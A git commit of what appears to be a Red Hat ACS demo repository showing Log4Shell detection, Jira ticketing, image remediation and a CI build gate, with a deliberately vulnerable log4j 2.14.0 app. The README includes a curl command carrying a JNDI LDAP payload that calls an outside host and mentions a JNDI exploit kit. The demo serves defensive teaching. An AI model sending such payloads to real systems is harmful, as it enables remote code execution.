commit
ab41531c68
27 changed files with 1343 additions and 0 deletions
@ -0,0 +1,2 @@ |
|||
dockercfg |
|||
*.bak |
|||
@ -0,0 +1,211 @@ |
|||
# Red Hat ACS demo |
|||
|
|||
This repository is a demo for Red Hat Advanced Cluster Security that shows its benefits in the context of a major vulnerability such as Log4Shell. |
|||
|
|||
The high level scenario of the demo is: |
|||
|
|||
* An application is vulnerable to Log4Shell and deployed to production |
|||
* The vulnerability is announced |
|||
* A policy is loaded to track vulnerable applications and drive the remediation process |
|||
* Tickets are opened automatically on Jira to notify developers |
|||
* However, the developers need time to properly update the Log4j library |
|||
* The operations people will implement the remediation in the meantime |
|||
* The developers will notice their CI process is stopped because of the critical vulnerability |
|||
* They update the version of the Log4j dependency |
|||
* The CI/CD process builds and deploy the final fix for the CVE |
|||
|
|||
From this demo we can conclude that Red Hat ACS can: |
|||
|
|||
* Detect major CVEs when they appear |
|||
* Drive a remediation campaign |
|||
* Identify the current version of each component of a container image |
|||
* Detect intrusion in the information system |
|||
* Warn developers that their application is vulnerable to a CVE |
|||
* Ensure security and quality of software delivery |
|||
|
|||
## Setup |
|||
|
|||
### 0. Verify pre-requisites |
|||
|
|||
On your workstation: |
|||
|
|||
* podman |
|||
* buildah |
|||
* git |
|||
* curl |
|||
* oc |
|||
|
|||
On your OpenShift cluster(s): |
|||
|
|||
* Red Hat ACS |
|||
* OpenShift Pipelines |
|||
|
|||
### 1. Jira |
|||
|
|||
* Create a Jira trial account at: https://www.atlassian.com/fr/try/cloud/signup?bundle=jira-software&edition=free |
|||
* Write down the URL of your dashboard. |
|||
* Click **Jira Software** in the top left corner |
|||
* Click **See all projects** in the top right corner |
|||
* Click **Create project** |
|||
* Select the **Bug tracking** template |
|||
* Choose a name and a key |
|||
* Write down the chosen key |
|||
* Go to https://id.atlassian.com/manage-profile/security/api-tokens and create an API Token. |
|||
* Login to the Central and drill down to **Platform configuration** > **Integrations**. |
|||
* Select **Jira software**. |
|||
* Click **New integration**. |
|||
* Fill-in the creation form with: |
|||
|
|||
* **Integration Name**: `Jira` |
|||
* **Username**: your Jira username |
|||
* **Password**: your Jira API Token |
|||
* **Issue Type**: `Task` |
|||
* **Default Project**: your Jira project Key (all upper case) |
|||
|
|||
* Click **Test** and **Save** |
|||
|
|||
### 2. Deploy the CI/CD pipeline |
|||
|
|||
```sh |
|||
oc apply -f cicd |
|||
``` |
|||
|
|||
### 3. Expose the registry |
|||
|
|||
Expose the OpenShift registry. |
|||
|
|||
```sh |
|||
oc create route reencrypt image-registry --service=image-registry -n openshift-image-registry |
|||
``` |
|||
|
|||
Get the registry hostname and default token. |
|||
|
|||
```sh |
|||
# Get the hostname... |
|||
oc get route -n openshift-image-registry image-registry -o jsonpath={.spec.host} |
|||
|
|||
# and the password. |
|||
oc serviceaccounts get-token -n vulnerable-cicd default |
|||
``` |
|||
|
|||
Create the Docker Registry integration in Central with the above information. |
|||
|
|||
Set the registry hostname where required. |
|||
|
|||
```sh |
|||
sed -i.bak "s/__REGISTRY__/$REGISTRY/" remediation/Dockerfile deployment/kustomization.yaml |
|||
``` |
|||
|
|||
### 4. Deploy the vulnerable app |
|||
|
|||
```sh |
|||
oc kustomize deployment | oc apply -f - |
|||
``` |
|||
|
|||
Give access to the `vulnerable-cicd` images from the `vulnerable-log4j` namespace. |
|||
|
|||
```sh |
|||
REGISTRY=$(oc get route -n openshift-image-registry image-registry -o jsonpath={.spec.host}) |
|||
oc get secrets -n vulnerable-cicd -o json | jq -r '.items[] | select(.metadata.annotations["kubernetes.io/service-account.name"]=="default" and .type=="kubernetes.io/dockercfg") | .data[".dockercfg"]' | base64 -d | jq --arg registry "$REGISTRY" '.["image-registry.openshift-image-registry.svc:5000"] as $conf | { ($registry) : $conf}' > dockercfg |
|||
oc apply -n vulnerable-log4j -f - <<EOF |
|||
kind: Secret |
|||
apiVersion: v1 |
|||
metadata: |
|||
name: external-registry |
|||
data: |
|||
.dockercfg: $(base64 -w0 dockercfg) |
|||
type: kubernetes.io/dockercfg |
|||
EOF |
|||
oc secrets link default external-registry --for=pull -n vulnerable-log4j |
|||
``` |
|||
|
|||
## Preparation |
|||
|
|||
From your workstation, verify the connection to the registry: |
|||
|
|||
```sh |
|||
REGISTRY=$(oc get route -n openshift-image-registry image-registry -o jsonpath={.spec.host}) |
|||
REGISTRY_TOKEN="$(oc get secrets -n vulnerable-cicd -o json | jq -r '.items[] | select(.metadata.annotations["kubernetes.io/service-account.name"]=="default" and .type=="kubernetes.io/dockercfg") | .data[".dockercfg"]' | base64 -d | jq -r --arg registry "$REGISTRY" '.["image-registry.openshift-image-registry.svc:5000"].password')" |
|||
podman login "$REGISTRY" --username sa --password "$REGISTRY_TOKEN" |
|||
``` |
|||
|
|||
## Demo scenario |
|||
|
|||
### Build the inventory |
|||
|
|||
* Open the Central |
|||
* Drill down to **Platform Configuration** > **System policies** |
|||
* Click **Import policy** |
|||
* Load `policy/log4shell.json` |
|||
* Open the **Violations** tab |
|||
* Filter by **Policy**: `Log4Shell` |
|||
|
|||
### Intrusion |
|||
|
|||
* In a hidden terminal, run the JNDI Exploit Kit to trigger the "Shell spawned by Java application" policy |
|||
* Open the **Violations** tab |
|||
* Filter by **Namespace**: `vulnerable-log4j` |
|||
* Go to the OpenShift console |
|||
* Select the `vulnerable-log4j` namespace |
|||
* Delete the pod |
|||
* In the Central, clear the Violation |
|||
* Drill down to **Platform Configuration** > **System policies** |
|||
* Open the **Log4Shell** policy |
|||
* Click the **Edit** button |
|||
* On the fourth tab, show the automatic enforcement options |
|||
|
|||
### Remediation |
|||
|
|||
```sh |
|||
podman build --pull-always -t $REGISTRY/vulnerable-cicd/vulnerable-log4j:latest remediation |
|||
podman run -it --rm --name test -p 8080:8080 $REGISTRY/vulnerable-cicd/vulnerable-log4j:latest |
|||
curl http://localhost:8080 -H 'X-Name: ${jndi:ldap://log4shell.huntress.com:1389/e597d75d-1851-4133-9a08-d5dfd7e04264}' |
|||
podman push $REGISTRY/vulnerable-cicd/vulnerable-log4j:latest |
|||
oc delete pods -l deployment=settlement-app -n vulnerable-log4j |
|||
``` |
|||
|
|||
The violation "Log4Shell" disappeared. |
|||
|
|||
### Final fix by the developers |
|||
|
|||
Start the CI/CD pipeline: |
|||
|
|||
* In the OpenShift developer console, navigate to the `vulnerable-cicd` namespace. |
|||
* Drill down to **Pipelines** |
|||
* Select `vulnerable-log4j` |
|||
* Click **Actions** > **Start** |
|||
|
|||
It fails because the current version is vulnerable. |
|||
|
|||
Edit **src/pom.xml** and change `<log4j.version>2.14.0</log4j.version>` to `<log4j.version>2.17.1</log4j.version>`. |
|||
|
|||
```sh |
|||
git add src/pom.xml |
|||
git commit -m 'fix log4shell cve' |
|||
git push |
|||
``` |
|||
|
|||
Restart the CI/CD pipeline. |
|||
|
|||
## Reset the demo |
|||
|
|||
* In central, delete the **Log4Shell** policy |
|||
|
|||
```sh |
|||
oc delete -f deployment |
|||
oc start-build vulnerable-log4 -n vulnerable-cicd |
|||
``` |
|||
|
|||
## Exploit |
|||
|
|||
Find the URL of the vulnerable container. |
|||
|
|||
```sh |
|||
export TARGET="https://$(oc get route settlement-app -n vulnerable-log4j -o jsonpath="{.spec.host}")/" |
|||
``` |
|||
|
|||
Go to https://log4shell.huntress.com/ and pass the generated string in the `X-Name` HTTP header. |
|||
|
|||
```sh |
|||
curl "$TARGET" -H 'X-Name: ${jndi:ldap://log4shell.huntress.com:1389/e597d75d-1851-4133-9a08-d5dfd7e04264}' |
|||
``` |
|||
@ -0,0 +1,10 @@ |
|||
apiVersion: v1 |
|||
kind: Namespace |
|||
metadata: |
|||
annotations: |
|||
openshift.io/description: "" |
|||
openshift.io/display-name: "" |
|||
name: vulnerable-cicd |
|||
spec: |
|||
finalizers: |
|||
- kubernetes |
|||
@ -0,0 +1,8 @@ |
|||
kind: ImageStream |
|||
apiVersion: image.openshift.io/v1 |
|||
metadata: |
|||
annotations: |
|||
openshift.io/display-name: Image vulnerable to log4j |
|||
name: vulnerable-log4j |
|||
namespace: vulnerable-cicd |
|||
spec: |
|||
@ -0,0 +1,28 @@ |
|||
kind: BuildConfig |
|||
apiVersion: build.openshift.io/v1 |
|||
metadata: |
|||
name: vulnerable-log4j |
|||
namespace: vulnerable-cicd |
|||
spec: |
|||
output: |
|||
to: |
|||
kind: ImageStreamTag |
|||
name: 'vulnerable-log4j:latest' |
|||
strategy: |
|||
type: Source |
|||
sourceStrategy: |
|||
from: |
|||
kind: ImageStreamTag |
|||
namespace: openshift |
|||
name: 'java:11' |
|||
source: |
|||
type: Git |
|||
git: |
|||
uri: 'https://github.com/nmasse-itix/demo-rhacs.git' |
|||
ref: main |
|||
contextDir: log4shell/src |
|||
triggers: |
|||
- type: ImageChange |
|||
imageChange: {} |
|||
- type: ConfigChange |
|||
runPolicy: Serial |
|||
@ -0,0 +1,27 @@ |
|||
apiVersion: rbac.authorization.k8s.io/v1 |
|||
kind: RoleBinding |
|||
metadata: |
|||
name: deployment-can-pull-vulnerable-log4j |
|||
namespace: vulnerable-cicd |
|||
roleRef: |
|||
apiGroup: rbac.authorization.k8s.io |
|||
kind: ClusterRole |
|||
name: system:image-puller |
|||
subjects: |
|||
- kind: ServiceAccount |
|||
name: default |
|||
namespace: vulnerable-log4j |
|||
--- |
|||
apiVersion: rbac.authorization.k8s.io/v1 |
|||
kind: RoleBinding |
|||
metadata: |
|||
name: cicd-can-admin-this-namespace |
|||
namespace: vulnerable-log4j |
|||
roleRef: |
|||
apiGroup: rbac.authorization.k8s.io |
|||
kind: ClusterRole |
|||
name: edit |
|||
subjects: |
|||
- kind: ServiceAccount |
|||
name: pipeline |
|||
namespace: vulnerable-cicd |
|||
@ -0,0 +1,78 @@ |
|||
apiVersion: tekton.dev/v1beta1 |
|||
kind: Task |
|||
metadata: |
|||
name: oc-start-build |
|||
namespace: vulnerable-cicd |
|||
spec: |
|||
params: |
|||
- name: namespace |
|||
default: default |
|||
description: The kubernetes namespace |
|||
- name: componentName |
|||
default: sample |
|||
description: The name of the component |
|||
steps: |
|||
- name: build-image |
|||
image: 'quay.io/openshift/origin-cli:latest' |
|||
command: |
|||
- /usr/bin/oc |
|||
args: |
|||
- -n |
|||
- $(inputs.params.namespace) |
|||
- start-build |
|||
- $(inputs.params.componentName) |
|||
- --follow |
|||
--- |
|||
apiVersion: tekton.dev/v1beta1 |
|||
kind: Task |
|||
metadata: |
|||
name: oc-deploy |
|||
namespace: vulnerable-cicd |
|||
spec: |
|||
params: |
|||
- name: namespace |
|||
default: default |
|||
description: The kubernetes namespace |
|||
- name: componentName |
|||
default: sample |
|||
description: The name of the component |
|||
steps: |
|||
- name: oc-deploy |
|||
image: quay.io/openshift/origin-cli:latest |
|||
command: |
|||
- "/usr/bin/oc" |
|||
args: |
|||
- delete |
|||
- pods |
|||
- -n |
|||
- $(inputs.params.namespace) |
|||
- -l |
|||
- deployment=$(inputs.params.componentName) |
|||
--- |
|||
apiVersion: tekton.dev/v1beta1 |
|||
kind: Task |
|||
metadata: |
|||
name: oc-annotate |
|||
namespace: vulnerable-cicd |
|||
spec: |
|||
params: |
|||
- name: namespace |
|||
default: default |
|||
description: The kubernetes namespace |
|||
- name: componentName |
|||
default: sample |
|||
description: The name of the component |
|||
- name: annotation |
|||
description: The annotation (key=value) |
|||
steps: |
|||
- name: oc-annotate |
|||
image: quay.io/openshift/origin-cli:latest |
|||
command: |
|||
- "/usr/bin/oc" |
|||
args: |
|||
- annotate |
|||
- -n |
|||
- $(inputs.params.namespace) |
|||
- deploy |
|||
- $(inputs.params.componentName) |
|||
- $(inputs.params.annotation) |
|||
@ -0,0 +1,37 @@ |
|||
apiVersion: tekton.dev/v1beta1 |
|||
kind: Pipeline |
|||
metadata: |
|||
name: vulnerable-log4j |
|||
namespace: vulnerable-cicd |
|||
spec: |
|||
tasks: |
|||
- name: build-image |
|||
taskRef: |
|||
name: oc-start-build |
|||
params: |
|||
- name: componentName |
|||
value: vulnerable-log4j |
|||
- name: namespace |
|||
value: vulnerable-cicd |
|||
- name: deploy |
|||
taskRef: |
|||
name: oc-deploy |
|||
runAfter: |
|||
- build-image |
|||
params: |
|||
- name: componentName |
|||
value: settlement-app |
|||
- name: namespace |
|||
value: vulnerable-log4j |
|||
# - name: remediate |
|||
# taskRef: |
|||
# name: oc-annotate |
|||
# runAfter: |
|||
# - deploy |
|||
# params: |
|||
# - name: componentName |
|||
# value: settlement-app |
|||
# - name: namespace |
|||
# value: vulnerable-log4j |
|||
# - name: annotation |
|||
# value: cve.log4shell.remediate=true |
|||
@ -0,0 +1,10 @@ |
|||
apiVersion: v1 |
|||
kind: Namespace |
|||
metadata: |
|||
annotations: |
|||
openshift.io/description: "" |
|||
openshift.io/display-name: "" |
|||
name: vulnerable-log4j |
|||
spec: |
|||
finalizers: |
|||
- kubernetes |
|||
@ -0,0 +1,32 @@ |
|||
apiVersion: apps/v1 |
|||
kind: Deployment |
|||
metadata: |
|||
labels: |
|||
app: settlement-app |
|||
app.kubernetes.io/component: settlement-app |
|||
app.kubernetes.io/instance: settlement-app |
|||
name: settlement-app |
|||
namespace: vulnerable-log4j |
|||
spec: |
|||
replicas: 1 |
|||
selector: |
|||
matchLabels: |
|||
deployment: settlement-app |
|||
template: |
|||
metadata: |
|||
creationTimestamp: null |
|||
labels: |
|||
deployment: settlement-app |
|||
spec: |
|||
containers: |
|||
- image: vulnerable-log4j-image:latest |
|||
imagePullPolicy: Always |
|||
name: settlement-app |
|||
resources: {} |
|||
terminationMessagePath: /dev/termination-log |
|||
terminationMessagePolicy: File |
|||
dnsPolicy: ClusterFirst |
|||
restartPolicy: Always |
|||
schedulerName: default-scheduler |
|||
securityContext: {} |
|||
terminationGracePeriodSeconds: 30 |
|||
@ -0,0 +1,17 @@ |
|||
apiVersion: v1 |
|||
kind: Service |
|||
metadata: |
|||
labels: |
|||
app: settlement-app |
|||
name: settlement-app |
|||
namespace: vulnerable-log4j |
|||
spec: |
|||
ports: |
|||
- name: http |
|||
port: 8080 |
|||
protocol: TCP |
|||
targetPort: 8080 |
|||
selector: |
|||
deployment: settlement-app |
|||
sessionAffinity: None |
|||
type: ClusterIP |
|||
@ -0,0 +1,17 @@ |
|||
apiVersion: route.openshift.io/v1 |
|||
kind: Route |
|||
metadata: |
|||
labels: |
|||
app: settlement-app |
|||
name: settlement-app |
|||
namespace: vulnerable-log4j |
|||
spec: |
|||
port: |
|||
targetPort: http |
|||
tls: |
|||
termination: edge |
|||
to: |
|||
kind: Service |
|||
name: settlement-app |
|||
weight: 100 |
|||
wildcardPolicy: None |
|||
@ -0,0 +1,9 @@ |
|||
resources: |
|||
- 00-namespace.yaml |
|||
- 10-deploy.yaml |
|||
- 20-svc.yaml |
|||
- 30-route.yaml |
|||
images: |
|||
- name: vulnerable-log4j-image |
|||
newName: __REGISTRY__/vulnerable-cicd/vulnerable-log4j |
|||
newTag: latest |
|||
@ -0,0 +1,70 @@ |
|||
{ |
|||
"policies": [ |
|||
{ |
|||
"id": "7f0ef11c-f9b1-4af1-9181-e24b1c27285c", |
|||
"name": "Log4Shell", |
|||
"description": "Alert on deployments with images containing the Log4Shell vulnerabilities (CVE-2021-44228 and CVE-2021-45046). There are flaws in the Java logging library Apache Log4j in versions from 2.0-beta9 to 2.15.0, excluding 2.12.2.", |
|||
"rationale": "These vulnerabilities allows a remote attacker to execute code on the server if the system logs an attacker-controlled string value with the attacker's JNDI LDAP server lookup.", |
|||
"remediation": "Update the log4j libary to version 2.16.0 (for Java 8 or later), 2.12.2 (for Java 7) or later. If not possible to upgrade, then remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class and annotate the image with cve.log4shell.remediation=applied.", |
|||
"disabled": false, |
|||
"categories": [ |
|||
"Vulnerability Management" |
|||
], |
|||
"fields": null, |
|||
"lifecycleStages": [ |
|||
"BUILD", |
|||
"DEPLOY" |
|||
], |
|||
"eventSource": "NOT_APPLICABLE", |
|||
"whitelists": [], |
|||
"exclusions": [], |
|||
"scope": [], |
|||
"severity": "CRITICAL_SEVERITY", |
|||
"enforcementActions": [ |
|||
"FAIL_BUILD_ENFORCEMENT" |
|||
], |
|||
"notifiers": [ |
|||
"27197fcf-5d2c-4fb6-a9bd-9e755f739944" |
|||
], |
|||
"lastUpdated": "2022-02-21T14:19:19.206939932Z", |
|||
"SORTName": "", |
|||
"SORTLifecycleStage": "", |
|||
"SORTEnforcement": false, |
|||
"policyVersion": "1.1", |
|||
"policySections": [ |
|||
{ |
|||
"sectionName": "", |
|||
"policyGroups": [ |
|||
{ |
|||
"fieldName": "CVE", |
|||
"booleanOperator": "OR", |
|||
"negate": false, |
|||
"values": [ |
|||
{ |
|||
"value": "CVE-2021-44228" |
|||
}, |
|||
{ |
|||
"value": "CVE-2021-45046" |
|||
} |
|||
] |
|||
}, |
|||
{ |
|||
"fieldName": "Required Image Label", |
|||
"booleanOperator": "OR", |
|||
"negate": false, |
|||
"values": [ |
|||
{ |
|||
"value": "cve.log4shell.remediation=applied" |
|||
} |
|||
] |
|||
} |
|||
] |
|||
} |
|||
], |
|||
"mitreAttackVectors": [], |
|||
"criteriaLocked": false, |
|||
"mitreVectorsLocked": false, |
|||
"isDefault": false |
|||
} |
|||
] |
|||
} |
|||
@ -0,0 +1,15 @@ |
|||
FROM __REGISTRY__/vulnerable-cicd/vulnerable-log4j:latest |
|||
|
|||
RUN MAIN_JAR=`ls -1 /deployments/*.jar` \ |
|||
&& mkdir -p /tmp/remediation/main /tmp/remediation/log4j \ |
|||
&& unzip -d /tmp/remediation/main "$MAIN_JAR" \ |
|||
&& LOG4J_JAR=`ls -1 /tmp/remediation/main/BOOT-INF/lib/log4j-core-*.jar` \ |
|||
&& unzip -d /tmp/remediation/log4j "$LOG4J_JAR" \ |
|||
&& rm /tmp/remediation/log4j/org/apache/logging/log4j/core/lookup/JndiLookup.class \ |
|||
&& cd /tmp/remediation/log4j \ |
|||
&& jar -0cmf META-INF/MANIFEST.MF "$LOG4J_JAR" . \ |
|||
&& cd /tmp/remediation/main \ |
|||
&& jar -0cmf META-INF/MANIFEST.MF "$MAIN_JAR" . \ |
|||
&& rm -rf /tmp/remediation |
|||
|
|||
LABEL cve.log4shell.remediation=applied |
|||
@ -0,0 +1,33 @@ |
|||
HELP.md |
|||
target/ |
|||
!.mvn/wrapper/maven-wrapper.jar |
|||
!**/src/main/**/target/ |
|||
!**/src/test/**/target/ |
|||
|
|||
### STS ### |
|||
.apt_generated |
|||
.classpath |
|||
.factorypath |
|||
.project |
|||
.settings |
|||
.springBeans |
|||
.sts4-cache |
|||
|
|||
### IntelliJ IDEA ### |
|||
.idea |
|||
*.iws |
|||
*.iml |
|||
*.ipr |
|||
|
|||
### NetBeans ### |
|||
/nbproject/private/ |
|||
/nbbuild/ |
|||
/dist/ |
|||
/nbdist/ |
|||
/.nb-gradle/ |
|||
build/ |
|||
!**/src/main/**/build/ |
|||
!**/src/test/**/build/ |
|||
|
|||
### VS Code ### |
|||
.vscode/ |
|||
@ -0,0 +1,117 @@ |
|||
/* |
|||
* Copyright 2007-present the original author or authors. |
|||
* |
|||
* Licensed under the Apache License, Version 2.0 (the "License"); |
|||
* you may not use this file except in compliance with the License. |
|||
* You may obtain a copy of the License at |
|||
* |
|||
* https://www.apache.org/licenses/LICENSE-2.0
|
|||
* |
|||
* Unless required by applicable law or agreed to in writing, software |
|||
* distributed under the License is distributed on an "AS IS" BASIS, |
|||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
|||
* See the License for the specific language governing permissions and |
|||
* limitations under the License. |
|||
*/ |
|||
import java.net.*; |
|||
import java.io.*; |
|||
import java.nio.channels.*; |
|||
import java.util.Properties; |
|||
|
|||
public class MavenWrapperDownloader { |
|||
|
|||
private static final String WRAPPER_VERSION = "0.5.6"; |
|||
/** |
|||
* Default URL to download the maven-wrapper.jar from, if no 'downloadUrl' is provided. |
|||
*/ |
|||
private static final String DEFAULT_DOWNLOAD_URL = "https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/" |
|||
+ WRAPPER_VERSION + "/maven-wrapper-" + WRAPPER_VERSION + ".jar"; |
|||
|
|||
/** |
|||
* Path to the maven-wrapper.properties file, which might contain a downloadUrl property to |
|||
* use instead of the default one. |
|||
*/ |
|||
private static final String MAVEN_WRAPPER_PROPERTIES_PATH = |
|||
".mvn/wrapper/maven-wrapper.properties"; |
|||
|
|||
/** |
|||
* Path where the maven-wrapper.jar will be saved to. |
|||
*/ |
|||
private static final String MAVEN_WRAPPER_JAR_PATH = |
|||
".mvn/wrapper/maven-wrapper.jar"; |
|||
|
|||
/** |
|||
* Name of the property which should be used to override the default download url for the wrapper. |
|||
*/ |
|||
private static final String PROPERTY_NAME_WRAPPER_URL = "wrapperUrl"; |
|||
|
|||
public static void main(String args[]) { |
|||
System.out.println("- Downloader started"); |
|||
File baseDirectory = new File(args[0]); |
|||
System.out.println("- Using base directory: " + baseDirectory.getAbsolutePath()); |
|||
|
|||
// If the maven-wrapper.properties exists, read it and check if it contains a custom
|
|||
// wrapperUrl parameter.
|
|||
File mavenWrapperPropertyFile = new File(baseDirectory, MAVEN_WRAPPER_PROPERTIES_PATH); |
|||
String url = DEFAULT_DOWNLOAD_URL; |
|||
if(mavenWrapperPropertyFile.exists()) { |
|||
FileInputStream mavenWrapperPropertyFileInputStream = null; |
|||
try { |
|||
mavenWrapperPropertyFileInputStream = new FileInputStream(mavenWrapperPropertyFile); |
|||
Properties mavenWrapperProperties = new Properties(); |
|||
mavenWrapperProperties.load(mavenWrapperPropertyFileInputStream); |
|||
url = mavenWrapperProperties.getProperty(PROPERTY_NAME_WRAPPER_URL, url); |
|||
} catch (IOException e) { |
|||
System.out.println("- ERROR loading '" + MAVEN_WRAPPER_PROPERTIES_PATH + "'"); |
|||
} finally { |
|||
try { |
|||
if(mavenWrapperPropertyFileInputStream != null) { |
|||
mavenWrapperPropertyFileInputStream.close(); |
|||
} |
|||
} catch (IOException e) { |
|||
// Ignore ...
|
|||
} |
|||
} |
|||
} |
|||
System.out.println("- Downloading from: " + url); |
|||
|
|||
File outputFile = new File(baseDirectory.getAbsolutePath(), MAVEN_WRAPPER_JAR_PATH); |
|||
if(!outputFile.getParentFile().exists()) { |
|||
if(!outputFile.getParentFile().mkdirs()) { |
|||
System.out.println( |
|||
"- ERROR creating output directory '" + outputFile.getParentFile().getAbsolutePath() + "'"); |
|||
} |
|||
} |
|||
System.out.println("- Downloading to: " + outputFile.getAbsolutePath()); |
|||
try { |
|||
downloadFileFromURL(url, outputFile); |
|||
System.out.println("Done"); |
|||
System.exit(0); |
|||
} catch (Throwable e) { |
|||
System.out.println("- Error downloading"); |
|||
e.printStackTrace(); |
|||
System.exit(1); |
|||
} |
|||
} |
|||
|
|||
private static void downloadFileFromURL(String urlString, File destination) throws Exception { |
|||
if (System.getenv("MVNW_USERNAME") != null && System.getenv("MVNW_PASSWORD") != null) { |
|||
String username = System.getenv("MVNW_USERNAME"); |
|||
char[] password = System.getenv("MVNW_PASSWORD").toCharArray(); |
|||
Authenticator.setDefault(new Authenticator() { |
|||
@Override |
|||
protected PasswordAuthentication getPasswordAuthentication() { |
|||
return new PasswordAuthentication(username, password); |
|||
} |
|||
}); |
|||
} |
|||
URL website = new URL(urlString); |
|||
ReadableByteChannel rbc; |
|||
rbc = Channels.newChannel(website.openStream()); |
|||
FileOutputStream fos = new FileOutputStream(destination); |
|||
fos.getChannel().transferFrom(rbc, 0, Long.MAX_VALUE); |
|||
fos.close(); |
|||
rbc.close(); |
|||
} |
|||
|
|||
} |
|||
Binary file not shown.
@ -0,0 +1,2 @@ |
|||
distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.8.3/apache-maven-3.8.3-bin.zip |
|||
wrapperUrl=https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar |
|||
@ -0,0 +1,310 @@ |
|||
#!/bin/sh |
|||
# ---------------------------------------------------------------------------- |
|||
# Licensed to the Apache Software Foundation (ASF) under one |
|||
# or more contributor license agreements. See the NOTICE file |
|||
# distributed with this work for additional information |
|||
# regarding copyright ownership. The ASF licenses this file |
|||
# to you under the Apache License, Version 2.0 (the |
|||
# "License"); you may not use this file except in compliance |
|||
# with the License. You may obtain a copy of the License at |
|||
# |
|||
# https://www.apache.org/licenses/LICENSE-2.0 |
|||
# |
|||
# Unless required by applicable law or agreed to in writing, |
|||
# software distributed under the License is distributed on an |
|||
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY |
|||
# KIND, either express or implied. See the License for the |
|||
# specific language governing permissions and limitations |
|||
# under the License. |
|||
# ---------------------------------------------------------------------------- |
|||
|
|||
# ---------------------------------------------------------------------------- |
|||
# Maven Start Up Batch script |
|||
# |
|||
# Required ENV vars: |
|||
# ------------------ |
|||
# JAVA_HOME - location of a JDK home dir |
|||
# |
|||
# Optional ENV vars |
|||
# ----------------- |
|||
# M2_HOME - location of maven2's installed home dir |
|||
# MAVEN_OPTS - parameters passed to the Java VM when running Maven |
|||
# e.g. to debug Maven itself, use |
|||
# set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000 |
|||
# MAVEN_SKIP_RC - flag to disable loading of mavenrc files |
|||
# ---------------------------------------------------------------------------- |
|||
|
|||
if [ -z "$MAVEN_SKIP_RC" ] ; then |
|||
|
|||
if [ -f /etc/mavenrc ] ; then |
|||
. /etc/mavenrc |
|||
fi |
|||
|
|||
if [ -f "$HOME/.mavenrc" ] ; then |
|||
. "$HOME/.mavenrc" |
|||
fi |
|||
|
|||
fi |
|||
|
|||
# OS specific support. $var _must_ be set to either true or false. |
|||
cygwin=false; |
|||
darwin=false; |
|||
mingw=false |
|||
case "`uname`" in |
|||
CYGWIN*) cygwin=true ;; |
|||
MINGW*) mingw=true;; |
|||
Darwin*) darwin=true |
|||
# Use /usr/libexec/java_home if available, otherwise fall back to /Library/Java/Home |
|||
# See https://developer.apple.com/library/mac/qa/qa1170/_index.html |
|||
if [ -z "$JAVA_HOME" ]; then |
|||
if [ -x "/usr/libexec/java_home" ]; then |
|||
export JAVA_HOME="`/usr/libexec/java_home`" |
|||
else |
|||
export JAVA_HOME="/Library/Java/Home" |
|||
fi |
|||
fi |
|||
;; |
|||
esac |
|||
|
|||
if [ -z "$JAVA_HOME" ] ; then |
|||
if [ -r /etc/gentoo-release ] ; then |
|||
JAVA_HOME=`java-config --jre-home` |
|||
fi |
|||
fi |
|||
|
|||
if [ -z "$M2_HOME" ] ; then |
|||
## resolve links - $0 may be a link to maven's home |
|||
PRG="$0" |
|||
|
|||
# need this for relative symlinks |
|||
while [ -h "$PRG" ] ; do |
|||
ls=`ls -ld "$PRG"` |
|||
link=`expr "$ls" : '.*-> \(.*\)$'` |
|||
if expr "$link" : '/.*' > /dev/null; then |
|||
PRG="$link" |
|||
else |
|||
PRG="`dirname "$PRG"`/$link" |
|||
fi |
|||
done |
|||
|
|||
saveddir=`pwd` |
|||
|
|||
M2_HOME=`dirname "$PRG"`/.. |
|||
|
|||
# make it fully qualified |
|||
M2_HOME=`cd "$M2_HOME" && pwd` |
|||
|
|||
cd "$saveddir" |
|||
# echo Using m2 at $M2_HOME |
|||
fi |
|||
|
|||
# For Cygwin, ensure paths are in UNIX format before anything is touched |
|||
if $cygwin ; then |
|||
[ -n "$M2_HOME" ] && |
|||
M2_HOME=`cygpath --unix "$M2_HOME"` |
|||
[ -n "$JAVA_HOME" ] && |
|||
JAVA_HOME=`cygpath --unix "$JAVA_HOME"` |
|||
[ -n "$CLASSPATH" ] && |
|||
CLASSPATH=`cygpath --path --unix "$CLASSPATH"` |
|||
fi |
|||
|
|||
# For Mingw, ensure paths are in UNIX format before anything is touched |
|||
if $mingw ; then |
|||
[ -n "$M2_HOME" ] && |
|||
M2_HOME="`(cd "$M2_HOME"; pwd)`" |
|||
[ -n "$JAVA_HOME" ] && |
|||
JAVA_HOME="`(cd "$JAVA_HOME"; pwd)`" |
|||
fi |
|||
|
|||
if [ -z "$JAVA_HOME" ]; then |
|||
javaExecutable="`which javac`" |
|||
if [ -n "$javaExecutable" ] && ! [ "`expr \"$javaExecutable\" : '\([^ ]*\)'`" = "no" ]; then |
|||
# readlink(1) is not available as standard on Solaris 10. |
|||
readLink=`which readlink` |
|||
if [ ! `expr "$readLink" : '\([^ ]*\)'` = "no" ]; then |
|||
if $darwin ; then |
|||
javaHome="`dirname \"$javaExecutable\"`" |
|||
javaExecutable="`cd \"$javaHome\" && pwd -P`/javac" |
|||
else |
|||
javaExecutable="`readlink -f \"$javaExecutable\"`" |
|||
fi |
|||
javaHome="`dirname \"$javaExecutable\"`" |
|||
javaHome=`expr "$javaHome" : '\(.*\)/bin'` |
|||
JAVA_HOME="$javaHome" |
|||
export JAVA_HOME |
|||
fi |
|||
fi |
|||
fi |
|||
|
|||
if [ -z "$JAVACMD" ] ; then |
|||
if [ -n "$JAVA_HOME" ] ; then |
|||
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then |
|||
# IBM's JDK on AIX uses strange locations for the executables |
|||
JAVACMD="$JAVA_HOME/jre/sh/java" |
|||
else |
|||
JAVACMD="$JAVA_HOME/bin/java" |
|||
fi |
|||
else |
|||
JAVACMD="`which java`" |
|||
fi |
|||
fi |
|||
|
|||
if [ ! -x "$JAVACMD" ] ; then |
|||
echo "Error: JAVA_HOME is not defined correctly." >&2 |
|||
echo " We cannot execute $JAVACMD" >&2 |
|||
exit 1 |
|||
fi |
|||
|
|||
if [ -z "$JAVA_HOME" ] ; then |
|||
